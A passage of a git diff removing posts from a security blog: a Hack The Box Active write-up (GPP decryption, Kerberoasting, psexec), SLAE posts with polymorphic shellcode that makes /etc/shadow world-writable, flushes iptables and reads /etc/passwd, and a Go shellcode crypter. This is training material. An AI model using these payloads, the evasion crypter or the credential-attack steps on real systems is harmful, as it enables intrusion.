9.78GB Users logged in: 1 - Memory usage: 57% IP address for ens33: 10.10.10.102 - Swap usage: 0% - - * Meltdown, Spectre and Ubuntu: What are the attack vectors, - how the fixes work, and everything else you need to know - - https://ubu.one/u2Know - - * Canonical Livepatch is available for installation. - - Reduce system reboots and improve kernel security. Activate at: - https://ubuntu.com/livepatch - -55 packages can be updated. -3 updates are security updates. - -Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings - - -Last login: Sat Jul 14 21:09:40 2018 -root@hawk:~# cat root.txt -54f3e8 -``` \ No newline at end of file diff --git a/_posts/2018-12-08-htb-writeup-active.md b/_posts/2018-12-08-htb-writeup-active.md deleted file mode 100644 index b44fba91fc..0000000000 --- a/_posts/2018-12-08-htb-writeup-active.md +++ /dev/null @@ -1,260 +0,0 @@ ---- -layout: single -title: Active - Hack The Box -date: 2018-12-08 -classes: wide -header: - teaser: /assets/images/htb-writeup-active/active.png -categories: - - hackthebox - - infosec -tags: - - hackthebox - - kerberos - - ad ---- - -## Windows / 10.10.10.100 - -![](/assets/images/htb-writeup-active/active.png) - -This blog post is a writeup for Active from Hack the Box. - -### Summary ------------------- -- There's a GPP file with user credentials on the replication share of the DC which we can can crack with gpp-decrypt -- We then grab an encrypted ticket using the Kerberoasting technique and recover the Administrator password - -### Tools/Blogs -- gpp-decrypt -- [Impacket](https://github.com/CoreSecurity/impacket) -- [PyKerberoast](https://github.com/skelsec/PyKerberoast) - -### Detailed steps ------------------- - -### Nmap - -This Windows Server is running kerberos on port 88 so it's probably an Active Directory server - -``` -root@violentunicorn:~/hackthebox# nmap -F 10.10.10.100 -Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-28 20:19 EDT -Nmap scan report for active.htb (10.10.10.100) -Host is up (0.16s latency). -Not shown: 89 closed ports -PORT STATE SERVICE -53/tcp open domain -88/tcp open kerberos-sec -135/tcp open msrpc -139/tcp open netbios-ssn -389/tcp open ldap -445/tcp open microsoft-ds -49152/tcp open unknown -49153/tcp open unknown -49154/tcp open unknown -49155/tcp open unknown -49157/tcp open unknown - -Nmap done: 1 IP address (1 host up) scanned in 1.83 seconds -``` - -### Enumerating the SMB replication sahre - -All sorts of interesting ports are open on the server. First, let's check which shares are publicly accessible: - -``` -root@violentunicorn:~# enum4linux 10.10.10.100 - - ========================================= -| Share Enumeration on 10.10.10.100 | - ========================================= -WARNING: The "syslog" option is deprecated - - Sharename Type Comment - --------- ---- ------- - ADMIN$ Disk Remote Admin - C$ Disk Default share - IPC$ IPC Remote IPC - NETLOGON Disk Logon server share - Replication Disk - SYSVOL Disk Logon server share - Users Disk -Reconnecting with SMB1 for workgroup listing. -Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) -Failed to connect with SMB1 -- no workgroup available - -[+] Attempting to map shares on 10.10.10.100 -//10.10.10.100/ADMIN$ Mapping: DENIED, Listing: N/A -//10.10.10.100/C$ Mapping: DENIED, Listing: N/A -//10.10.10.100/IPC$ Mapping: OK Listing: DENIED -//10.10.10.100/NETLOGON Mapping: DENIED, Listing: N/A -//10.10.10.100/Replication Mapping: OK, Listing: OK -//10.10.10.100/SYSVOL Mapping: DENIED, Listing: N/A -//10.10.10.100/Users Mapping: DENIED, Listing: N/A -``` - -So IPC$ and Replication are open, let's check Replication... - -``` -root@violentunicorn:~# smbclient -N -U "" //10.10.10.100/Replication -WARNING: The "syslog" option is deprecated -Try "help" to get a list of possible commands. -smb: \> ls - . D 0 Sat Jul 21 06:37:44 2018 - .. D 0 Sat Jul 21 06:37:44 2018 - active.htb D 0 Sat Jul 21 06:37:44 2018 - - 10459647 blocks of size 4096. 6312288 blocks available -smb: \> cd active.htb -smb: \active.htb\> ls - . D 0 Sat Jul 21 06:37:44 2018 - .. D 0 Sat Jul 21 06:37:44 2018 - DfsrPrivate DHS 0 Sat Jul 21 06:37:44 2018 - Policies D 0 Sat Jul 21 06:37:44 2018 - scripts D 0 Wed Jul 18 14:48:57 2018 - - 10459647 blocks of size 4096. 6312288 blocks available -smb: \active.htb\> cd Policies -smb: \active.htb\Policies\> ls - . D 0 Sat Jul 21 06:37:44 2018 - .. D 0 Sat Jul 21 06:37:44 2018 - {31B2F340-016D-11D2-945F-00C04FB984F9} D 0 Sat Jul 21 06:37:44 2018 - {6AC1786C-016F-11D2-945F-00C04fB984F9} D 0 Sat Jul 21 06:37:44 2018 - - 10459647 blocks of size 4096. 6312288 blocks available -smb: \active.htb\Policies\> cd {31B2F340-016D-11D2-945F-00C04FB984F9} -smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> ls - . D 0 Sat Jul 21 06:37:44 2018 - .. D 0 Sat Jul 21 06:37:44 2018 - GPT.INI A 23 Wed Jul 18 16:46:06 2018 - Group Policy D 0 Sat Jul 21 06:37:44 2018 - MACHINE D 0 Sat Jul 21 06:37:44 2018 - USER D 0 Wed Jul 18 14:49:12 2018 - - 10459647 blocks of size 4096. 6312288 blocks available -smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> cd machine -lsmb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\machine\> ls - . D 0 Sat Jul 21 06:37:44 2018 - .. D 0 Sat Jul 21 06:37:44 2018 - Microsoft D 0 Sat Jul 21 06:37:44 2018 - Preferences D 0 Sat Jul 21 06:37:44 2018 - Registry.pol A 2788 Wed Jul 18 14:53:45 2018 - - 10459647 blocks of size 4096. 6312288 blocks available -smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\machine\> cd preferences -lsmb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\machine\preferences\> ls - . D 0 Sat Jul 21 06:37:44 2018 - .. D 0 Sat Jul 21 06:37:44 2018 - Groups D 0 Sat Jul 21 06:37:44 2018 - - 10459647 blocks of size 4096. 6312288 blocks available -smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\machine\preferences\> cd groups -lssmb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\machine\preferences\groups\> ls - . D 0 Sat Jul 21 06:37:44 2018 - .. D 0 Sat Jul 21 06:37:44 2018 - Groups.xml A 533 Wed Jul 18 16:46:06 2018 - - 10459647 blocks of size 4096. 6312288 blocks available -smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\machine\preferences\groups\> get groups.xml -getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\machine\preferences\groups\groups.xml of size 533 as groups.xml (1.6 KiloBytes/sec) (average 1.6 KiloBytes/sec) -smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\machine\preferences\groups\> exit -``` - -So we just found Group Policy Preferences in a file, with encrypted credentials. - -``` -root@violentunicorn:~# cat groups.xml - - - -``` - -Luckily, the encryption key for this has been leaked by Microsoft a few years ago and we can decrypt it using `gpp-decrypt`: - -``` -root@violentunicorn:~# gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ -/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated -GPPstillStandingStrong2k18 -``` - -So we now have the following user account's credentials: - - Username: SVC_TGS - - Password: GPPstillStandingStrong2k18 - - We can log in with that account and recover the user flag: - -``` -root@violentunicorn:~# smbclient -U svc_tgs //10.10.10.100/Users -WARNING: The "syslog" option is deprecated -Enter WORKGROUP\svc_tgs's password: -Try "help" to get a list of possible commands. -smb: \> cd svc_tgs -smb: \svc_tgs\> cd desktop -smb: \svc_tgs\desktop\> get user.txt -getting file \svc_tgs\desktop\user.txt of size 34 as user.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec) -smb: \svc_tgs\desktop\> exit -root@violentunicorn:~# cat user.txt -86d67d -``` - -### Kerberoasting - -Next, we'll look for Service Principal Names and encrypted service tickets that we can crack to recover other credentials. - -We'll use PyKerberoast for this since we are on Kali and not Windows. - -``` -root@violentunicorn:~/PyKerberoast# python kerberoastv2.py -a 10.10.10.100 -b cn=users,dc=active,dc=htb -d active -u svc_tgs -p GPPstillStandingStrong2k18 -[+]Starting... -$krb5tgs$18$*krbtgt$ACTIVE.HTB$spn*$cabf481b2b4dbd9567c5bee15e9d2ec9$04f2407e7fadab18a8f8ebda0e66af92e91c305098340e701383738a9cd317b15024815917af864e679ae02f8b610e18842308a54a9f0a2095ab688a972c5e03903f5d2cbf2d72cc5894ff6fa45413b95a1c94ee8fd1c9e8990c95748ba93a83bc078b3653b678a60fa0eb42cdaccdb3b4e5d5d97925676059c5b3495ce37a1fc964cf7cdeba452811d52a103633ffc5033709c3a2ac0f4f0a6aa06700b2817956c37c2f20e4ef5684b41d3f87e3f7fd80ed51088ef648f874b5fe113b5da0ebe5c7e77d63945ca190bb1dab377f75f6da85cbc261635fefdd42e621ac711c26c87d99b761941330e010fec48fd06219cd1aa7a8e91c9b0f36728ca30e68128db767e2e54c57d185b0700c03e7eb66fa62903971cdca7d481e4d4db09cc22a943ddb8ead77b4a2f2fc5cac6f34a6af8e796b5dd9f2e4310af99271a64af70c2c3aacfb8820b805d8efb3899e7a4d22c5adbf33f970e8fa7ce8ea79ad83a265aa3a4af2464d7cb296333199251a27f2fc189935f87c116e9143accd254ba4fb5d2a6f80af535076afbf8a89bea83941f703d312605d7fadc5d6583c9a86463ddc69165bdb0aabeab30edee51032dc160e3e349eb2f0c465f891015b7a127c9ef47949fdba2c1e2392d0cee6d03f54e5d36e63be681d1d2ad084c0f892b447352039488f21c184d7d0d5d68c0f15197579217ac48d3f1770710e5e0af95140d7394aae11371fd098b9591a1f6de4d4448db180a612917a8b0309e1b1a443d52d40f974e1036406c0aacf46b3be2286408cacd0c55a0e3146e7226cf6ab9c5d1b2af6939eac9c750c652f02925ab0549c3fd56f3655ceb37ec368dc24c034e6030a1b25dac3691e80098547a08b638560f2ffd37dcde83df28152fcbc9a93d9ef11a2e84f5b8efd3c8489983dceb394d22969d9c86b06af4b6633c55d86f61d1feac5dd4c541fa4e405b2b2e5fc41622833a45026dfef1e7a04b0577f2b5229b68e12af85af2cc074c3aae267c1c942cea9bcb21640bd2d0fe75996f93623e5cbaab186b7cedef4c1db1240b5c8cbb486f50bc7fafed38cd40a7605a6511d0cd393c8aa1c0387c7df9bd8c9a3f3af3eb2fe6341a88c6fac220f53725cd574f92c75e1f1a47be01a1a6bbf865fef2a681b981f2a2cf126797b7fcab95315c430f46e6140266d693e41dfb964c5f80e88ebb6c04cbe6299ef0f5cab31e8e75278474633d33251029cf0cdd2c40fe4678581ecdd193b7eac40 - -[+]Done! -``` - -Sweet, we got a ticket for the Administrator user! Let's brute force this bitch now. - -### Password cracking - -Because this is HTB, the password is in the rockyou.txt file: - -``` -root@violentunicorn:~/JohnTheRipper/run# ~/JohnTheRipper/run/john -w=/usr/share/wordlists/rockyou.txt hash.txt -Using default input encoding: UTF-8 -Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4]) -Will run 2 OpenMP threads -Press 'q' or Ctrl-C to abort, almost any other key for status -Ticketmaster1968 (?) -1g 0:00:00:39 DONE (2018-07-28 20:50) 0.02515g/s 265093p/s 265093c/s 265093C/s Tiffani1432..Tiago_18 -Use the "--show" option to display all of the cracked passwords reliably -Session completed -``` - -Ok, nice we now have the Administrator password: `Ticketmaster1968` - -### Remote access using psexec - -We could just grab the flag using smbclient but we'll try to get a proper shell using psexec: - -``` -root@violentunicorn:~# psexec.py administrator:Ticketmaster1968@10.10.10.100 -Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies - -[*] Requesting shares on 10.10.10.100..... -[*] Found writable share ADMIN$ -[*] Uploading file xZMcKohO.exe -[*] Opening SVCManager on 10.10.10.100..... -[*] Creating service vTmo on 10.10.10.100..... -[*] Starting service vTmo..... -[!] Press help for extra shell commands -Microsoft Windows [Version 6.1.7600] -Copyright (c) 2009 Microsoft Corporation. All rights reserved. - -C:\Windows\system32>whoami -nt authority\system - -C:\Windows\system32>cd \users\administrator\desktop - -C:\Users\Administrator\Desktop>type root.txt -b5fc76 -``` diff --git a/_posts/2018-12-11-polymorphic-shellcode.md b/_posts/2018-12-11-polymorphic-shellcode.md deleted file mode 100644 index b217010468..0000000000 --- a/_posts/2018-12-11-polymorphic-shellcode.md +++ /dev/null @@ -1,287 +0,0 @@ ---- -layout: single -title: Polymorphic Linux Shellcode -date: 2018-12-11 -classes: wide -header: - teaser: /assets/images/slae32.png -categories: - - slae - - infosec -tags: - - slae - - assembly - - polymorphic ---- - -This blog post shows 3 polymorphic variants of common shellcodes found on [shell-storm.org](http://shell-storm.org/shellcode/). - -Note that the original shellcode is shown here using Intel syntax. - -## Sample 1: Linux/x86 - chmod(/etc/shadow, 0777) - -- Original size: 29 bytes -- Polymorphic size: 41 bytes (41% increase) -- Source: [http://shell-storm.org/shellcode/files/shellcode-593.php](http://shell-storm.org/shellcode/files/shellcode-593.php) - -### Original code: - -```nasm -global _start - -section .text - -_start: - -xor eax,eax -push eax -push dword 0x776f6461 ; /etc/shadow -push dword 0x68732f63 -push dword 0x74652f2f -mov ebx,esp -push word 0x1ff -pop ecx -mov al,0xf -int 0x80 -``` - -### Polymorphic code: - -```nasm -global _start - -section .text - -_start: - -mov ecx, 0x01ff87fd ; XOR key + mode (upper half) -mov eax, 0x0188e899 ; /etc/shadow (XOR encoded) -mov ebx, 0x6097f4d2 -mov edx, 0x628be2d2 -xor eax, ecx -xor ebx, ecx -xor edx, ecx -push eax -push ebx -push edx -mov ebx, esp ; const char *pathname -shr ecx, 16 ; mode_t mode -> 0777 -xor eax, eax -add eax, 0xf ; sys_chmod -int 0x80 -``` - -## Sample 2: Linux/x86 - iptables -F - -- Original size: 58 bytes -- Polymorphic size: 67 bytes (15% increase) -- Source: [http://shell-storm.org/shellcode/files/shellcode-361.php](http://shell-storm.org/shellcode/files/shellcode-361.php) - -### Original code - -```nasm -section .text - -global _start - -_start: - -jmp short callme - -main: - -pop esi -xor eax,eax -mov byte [esi+14],al -mov byte [esi+17],al -mov long [esi+18],esi -lea ebx,[esi+15] -mov long [esi+22],ebx -mov long [esi+26],eax -mov al,0x0b -mov ebx,esi -lea ecx,[esi+18] -lea edx,[esi+26] -int 0x80 - -callme: - -call main -db '/sbin/iptables#-F#' -``` - -### Polymorphic code - -```nasm -section .text - -global _start - -_start: - -mov eax, 0x2d5a5a46 ; 0x5a462d5a (shifted 16 bits) -ror eax, 0x10 -push eax -add eax, 0x191f3f08 -push eax -sub eax, 0x11f0fbf9 -push eax -sub eax, 0x32450202 -add eax, 0x2 ; avoid null-byte -push eax -add eax, 0x3343c0c6 -push eax - -mov esi, esp ; esi -> "//sbin//iptablesZ-FZ" -mov ebx, esi ; const char *filename -cdq ; edx = 0 -mov eax, edx ; eax = 0 -mov byte [esi+16], dl ; null out Z byte: //sbin//iptablesZ -> "//sbin//iptables" -mov byte [esi+19], dl ; null out Z byte: -FZ -> "-F" -push edx ; null-terminatation for argv -lea eax, [esi+17] ; char *const argv[1] -> "-F" -push eax ; -push esi ; char *const argv[0] -> "//sbin//iptables" -mov ecx, esp ; char *const argv[] -> "//sbin//iptables", "-F" -push edx ; NULL byte for envp[] -mov eax, edx ; eax = 0 -mov edx, esp ; char *const envp[] -> NULL -add eax, 0xb ; sys_execve -int 0x80 -``` - -## Sample 3: Linux/x86 - File Reader /etc/passwd - -- Original size: 76 bytes -- Polymorphic size: 90 bytes (18% increase) -- Source: [http://shell-storm.org/shellcode/files/shellcode-73.php](http://shell-storm.org/shellcode/files/shellcode-73.php) - -### Original code - -```nasm -section .text - -global _start - -_start: - -xor eax, eax -xor ebx, ebx -xor ecx, ecx -xor edx, edx -jmp two - -one: - -pop ebx -mov al, 0x5 -xor ecx, ecx -int 0x80 -mov esi, eax -jmp read - -exit: - -mov al, 0x1 -xor ebx, ebx -int 0x80 - -read: - -mov ebx, esi -mov al, 0x3 -sub esp, 0x1 -lea ecx, [esp] -mov dl, 0x1 -int 0x80 - -xor ebx, ebx -cmp ebx, eax -je exit - -mov al, 0x4 -mov bl, 0x1 -mov dl, 0x1 -int 0x80 - -add esp, 0x1 -jmp short read - -two: - -call one -db '/etc/passwd' -``` - -### Polymorphic code - -```nasm -section .text - -global _start - -_start: - -push 0xbadacd9c ; //etc/passwd (XOR encoded) -push 0xbfdd918c -push 0xaac891c0 - -xor ecx, ecx -mov cl, 3 -mov edx, esp - -decode: - -mov eax, dword [edx] -xor eax, 0xdeadbeef ; XOR key -mov dword [edx], eax -add edx, 0x4 -loop decode - -xor eax, eax ; eax = 0 -cdq ; edx = 0 -mov byte [esp+12], al ; null terminate string "//etc/passwd" -mov al, 0x5 ; sys_open -mov ebx, esp ; const char *pathname -xor ecx, ecx ; int flags -int 0x80 - -read: - -mov ecx, esp ; void *buf -push eax ; save fd value for next byte read loop -mov ebx, eax ; int fd -xor eax, eax ; eax = 0 -mov dl, 0x1 ; size_t count = 1, we're reading a single byte at a time -mov al, 0x3 ; sys_read -int 0x80 - -cdq ; edx = 0 -cmp edx, eax ; check if we have any bytes left to read -je exit ; if not, exit - -mov eax, edx ; eax = 0 -mov ebx, eax ; ebx = 0 -mov al, 0x4 ; sys_write -mov bl, 0x1 ; int fd = 1 (stdout) -mov dl, 0x1 ; size_t count = 1, we're writing a single byte at a time -int 0x80 - -pop eax ; restore fd value -jmp read ; loop to next byte - -exit: - -mov eax, edx ; eax = 0 -inc eax ; eax = 1, sys_exit -xor ebx, ebx ; ebx = 0, int status -int 0x80 -``` - -This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: - -[http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/](http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) - -Student ID: SLAE-1236 - -All source files can be found on GitHub at [https://github.com/slemire/slae32](https://github.com/slemire/slae32) \ No newline at end of file diff --git a/_posts/2018-12-12-custom-crypter.md b/_posts/2018-12-12-custom-crypter.md deleted file mode 100644 index 8535d38030..0000000000 --- a/_posts/2018-12-12-custom-crypter.md +++ /dev/null @@ -1,227 +0,0 @@ ---- -layout: single -title: Creating a custom shellcode crypter -date: 2018-12-12 -classes: wide -header: - teaser: /assets/images/slae32.png -categories: - - slae - - infosec -tags: - - slae - - assembly - - crypter - - go ---- - -For this last SLAE assignment, I've created a custom shellcode crypter using the [Salsa20](https://en.wikipedia.org/wiki/Salsa20) stream cipher. Salsa20 is a family of 256-bit stream ciphers designed in 2005 and submitted to eSTREAM, the ECRYPT Stream Cipher Project. - -I wanted to learn the basics of Golang for some time so this was a good opportunity to try a new programming language. The crypter and decrypter are both written in Go and use the offical golang.org sub-repository crypto packages. I also used the [Cgo](https://golang.org/cmd/cgo/) and [unsafe](https://golang.org/pkg/unsafe/) packages so that I could get around the type safety of the Go programming language and call the shellcode once it has been decrypted. - -For demonstration purposes, we will use the standard execve shellcode that executes `/bin/sh`: - -``` -slemire@slae:~/slae32/examples/Shellcode/Execve$ ../../../compile.sh execve -[+] Assembling with Nasm ... -[+] Linking ... -[+] Shellcode: \xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43 -[+] Length: 49 -[+] Done! -``` - -## Crypter - -The crypter uses the following input: -- Shellcode -- 24 bytes nonce (generated randomly) -- 32 bytes key (generated randomly) - -If the resulting encrypted shellcode contains any null-byte, a warning is displayed. - -The crypter code is shown below: -```golang -package main - -import "fmt" -import "os" -import "crypto/rand" -import "golang.org/x/crypto/salsa20" - -func main() { - fmt.Printf("Shellcode code crypter\n") - - // execve shellcode /bin/sh - in := []byte { - 0xeb, 0x1a, 0x5e, 0x31, 0xdb, 0x88, 0x5e, 0x07, - 0x89, 0x76, 0x08, 0x89, 0x5e, 0x0c, 0x8d, 0x1e, - 0x8d, 0x4e, 0x08, 0x8d, 0x56, 0x0c, 0x31, 0xc0, - 0xb0, 0x0b, 0xcd, 0x80, 0xe8, 0xe1, 0xff, 0xff, - 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, - 0x41, 0x42, 0x42, 0x42, 0x42, 0x43, 0x43, 0x43, - 0x43 } - - out := make([]byte, len(in)) - - // Generate a random 24 bytes nonce - nonce := make([]byte, 24) - if _, err := rand.Read(nonce); err != nil { - panic(err) - } - - // Generate a random 32 bytes key - key_slice := make([]byte, 32) - if _, err := rand.Read(key_slice); err != nil { - panic(err) - } - var key [32]byte - copy(key[:], key_slice[:]) - - fmt.Printf("Key len: %d bytes\n", len(key)) - - fmt.Printf("Key: ") - for _, element := range key { - fmt.Printf("%#x,", element) - } - fmt.Printf("\n") - - fmt.Printf("Nonce: ") - for _, element := range nonce { - fmt.Printf("%#x,", element) - } - fmt.Printf("\n") - - fmt.Printf("Original shellcode: ") - - for _, element := range in { - fmt.Printf("%#x,", element) - } - fmt.Printf("\n") - salsa20.XORKeyStream(out, in, nonce, &key) - - fmt.Printf("Encrypted shellcode: ") - for _, element := range out { - fmt.Printf("%#x,", element) - } - fmt.Printf("\n") - - for _, element := range out { - if element == 0 { - fmt.Printf("##########################\n") - fmt.Printf("WARNING null byte detected\n") - fmt.Printf("##########################\n") - os.Exit(1) - } - } -} -``` - -## Decrypter - -To decrypt the shellcode, the same `salsa20.XORKeyStream` function is called using the original nonce and key. - -The decrypter code is shown below: -```golang -package main - -/* -void call_shellcode(char *code) { - int (*ret)() = (int(*)())code; - ret(); -} -*/ -import "C" -import "fmt" -import "unsafe" -import "golang.org/x/crypto/salsa20" - -func main() { - fmt.Printf("Shellcode code decrypter\n") - - // Paste encrypted shellcode here - in := []byte { 0x79,0x46,0x15,0x27,0xa6,0xdb,0xbc,0x5,0x84,0x97,0x83,0x7c,0x4f,0xed,0x81,0xd,0xf,0x93,0x8e,0x7c,0xd3,0xa5,0x74,0x99,0xaa,0xcd,0xbe,0xd0,0x49,0x54,0xce,0x9d,0xe7,0x4a,0x64,0x95,0xc3,0x83,0xb8,0x58,0x4a,0xe4,0x87,0x49,0xb3,0x6e,0x6a,0x32,0x76 } - - out := make([]byte, len(in)) - - // Paste nonce here - nonce := []byte { 0xc6,0x2f,0xb2,0xd1,0x94,0x7b,0x47,0xa6,0x51,0x5d,0x57,0xfb,0x8a,0x2c,0x3e,0x7f,0x43,0x5a,0xfc,0xbb,0x24,0x4d,0xc7,0xbc } - - // Paste key here - key := [32]byte { 0x24,0x90,0xef,0x80,0x66,0xee,0xda,0x52,0xfa,0xb9,0x8,0x37,0x3f,0x8e,0x1c,0x3b,0x0,0xec,0x7,0x19,0x5a,0x1f,0x94,0xe7,0x2e,0xdf,0xee,0x8d,0x9,0x63,0xe4,0xb5 } - - salsa20.XORKeyStream(out, in, nonce, &key) - - fmt.Printf("Decrypted shellcode: ") - for _, element := range out { - fmt.Printf("%#x,", element) - } - fmt.Printf("\n") - fmt.Printf("Shellcode length: %d\n", len(out)) - fmt.Printf("Executing shellcode...\n") - C.call_shellcode((*C.char)(unsafe.Pointer(&out[0]))) -} -``` - -## Using the crypter - -To compile the crypter and test it, we execute the command `go build -o crypter crypter.go && ./crypter` - -``` -slemire@slae:~/slae32/assignment7$ go build -o crypter crypter.go && ./crypter -Shellcode code crypter -Key len: 32 bytes -Key: 0x24,0x90,0xef,0x80,0x66,0xee,0xda,0x52,0xfa,0xb9,0x8,0x37,0x3f,0x8e,0x1c,0x3b,0x0,0xec,0x7,0x19,0x5a,0x1f,0x94,0xe7,0x2e,0xdf,0xee,0x8d,0x9,0x63,0xe4,0xb5, -Nonce: 0xc6,0x2f,0xb2,0xd1,0x94,0x7b,0x47,0xa6,0x51,0x5d,0x57,0xfb,0x8a,0x2c,0x3e,0x7f,0x43,0x5a,0xfc,0xbb,0x24,0x4d,0xc7,0xbc, -Original shellcode: 0xeb,0x1a,0x5e,0x31,0xdb,0x88,0x5e,0x7,0x89,0x76,0x8,0x89,0x5e,0xc,0x8d,0x1e,0x8d,0x4e,0x8,0x8d,0x56,0xc,0x31,0xc0,0xb0,0xb,0xcd,0x80,0xe8,0xe1,0xff,0xff,0xff,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x41,0x42,0x42,0x42,0x42,0x43,0x43,0x43,0x43, -Encrypted shellcode: 0x79,0x46,0x15,0x27,0xa6,0xdb,0xbc,0x5,0x84,0x97,0x83,0x7c,0x4f,0xed,0x81,0xd,0xf,0x93,0x8e,0x7c,0xd3,0xa5,0x74,0x99,0xaa,0xcd,0xbe,0xd0,0x49,0x54,0xce,0x9d,0xe7,0x4a,0x64,0x95,0xc3,0x83,0xb8,0x58,0x4a,0xe4,0x87,0x49,0xb3,0x6e,0x6a,0x32,0x76, -``` - -Next, the key, nonce and encrypted shellcode are copy/pasted into the `decrypter.go` source file. - -Compiling the decrypter uses: `go build -o decrypter decrypter.go`. There is however another step that needs to be executed after for the shellcode to work. By default (in newer Golang versions at least), the stack memory space is not marked executable so our shellcode won't work since it resides on the stack: - -The output below shows the decrypter segfaulting when we execute it: -``` -slemire@slae:~/slae32/assignment7$ ./decrypter -... -fatal error: unexpected signal during runtime execution -[signal SIGSEGV: segmentation violation code=0x2 addr=0x841e100 pc=0x841e100] - -runtime stack: -runtime.throw(0x80ea75c, 0x2a) - /usr/local/go/src/runtime/panic.go:608 +0x6a -runtime.sigpanic() - /usr/local/go/src/runtime/signal_unix.go:374 +0x239 - -goroutine 1 [syscall]: -runtime.cgocall(0x80bf970, 0x842a718, 0x0) - /usr/local/go/src/runtime/cgocall.go:128 +0x6e fp=0x842a704 sp=0x842a6ec pc=0x804afee -main._Cfunc_call_shellcode(0x841e100) - _cgo_gotypes.go:43 +0x33 fp=0x842a718 sp=0x842a704 pc=0x80bf613 -main.main() - /home/slemire/slae32/assignment7/decrypter.go:37 +0x2a1 fp=0x842a7d0 sp=0x842a718 pc=0x80bf8f1 -runtime.main() - /usr/local/go/src/runtime/proc.go:201 +0x206 fp=0x842a7f0 sp=0x842a7d0 pc=0x806cf76 -runtime.goexit() - /usr/local/go/src/runtime/asm_386.s:1324 +0x1 fp=0x842a7f4 sp=0x842a7f0 pc=0x80908f1 -``` - -To resolve this problem we can make the stack executable again by using the `execstack` tool as follows. The shellcode is successfully decrypted and executed, spawning `/bin/sh`. -``` -slemire@slae:~/slae32/assignment7$ execstack -s decrypter -slemire@slae:~/slae32/assignment7$ ./decrypter -Shellcode code decrypter -Decrypted shellcode: 0xeb,0x1a,0x5e,0x31,0xdb,0x88,0x5e,0x7,0x89,0x76,0x8,0x89,0x5e,0xc,0x8d,0x1e,0x8d,0x4e,0x8,0x8d,0x56,0xc,0x31,0xc0,0xb0,0xb,0xcd,0x80,0xe8,0xe1,0xff,0xff,0xff,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x41,0x42,0x42,0x42,0x42,0x43,0x43,0x43,0x43, -Shellcode length: 49 -Executing shellcode... -$ id -uid=1000(slemire) gid=1000(slemire) groups=1000(slemire),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) -``` - -This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: - -[http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/](http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) - -Student ID: SLAE-1236 - -All source files can be found on GitHub at [https://github.com/slemire/slae32](https://github.com/slemire/slae32) \ No newline at end of file diff --git a/_posts/2018-12-15-htb-writeup-waldo.md b/_posts/2018-12-15-htb-writeup-waldo.md deleted file mode 100644 index 090bebee70..0000000000 --- a/_posts/2018-12-15-htb-writeup-waldo.md +++ /dev/null @@ -1,330 +0,0 @@ ---- -layout: single -title: Waldo - Hack The Box -date: 2018-12-15 -classes: wide -header: - teaser: /assets/images/htb-writeup-waldo/waldo.png -categories: - - hackthebox - - infosec -tags: - - hackthebox - - linux - - capabilities - - php - ---- - -## Linux / 10.10.10.87 - -![](/assets/images/htb-writeup-waldo/waldo.png) - -This blog post is a writeup of the Waldo machine from Hack the Box. - -### Summary ------------------- -- The webserver has a vulnerable function that can be used to browse directories and read files -- We can read the SSH private key from the `nobody` user home directory and log in as `nobody` -- We're within a container but we can log in with SSH as user `monitor` to the host (127.0.0.1) -- There's a logMonitor application running with elevated capabilities (it can read log files even if not running as root) -- This is a hint that we should be looking at capabilities of files (`cap_dac_read_search+ei`) -- We look at the entire filesystem for files with special cap's and we find that the `tac` application has that capabily and we can read `/root/root.txt` - -### Detailed steps ------------------- - -### Nmap - -There's only a webserver and an SSH service running on this box - -``` -root@darkisland:~# nmap -sC -sV -p- 10.10.10.87 -Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-04 21:08 EDT -Nmap scan report for waldo.htb (10.10.10.87) -Host is up (0.018s latency). -Not shown: 65532 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.5 (protocol 2.0) -| ssh-hostkey: -| 2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA) -| 256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA) -|_ 256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519) -80/tcp open http nginx 1.12.2 -|_http-server-header: nginx/1.12.2 -| http-title: List Manager -|_Requested resource was /list.html -|_http-trane-info: Problem with XML parsing of /evox/about 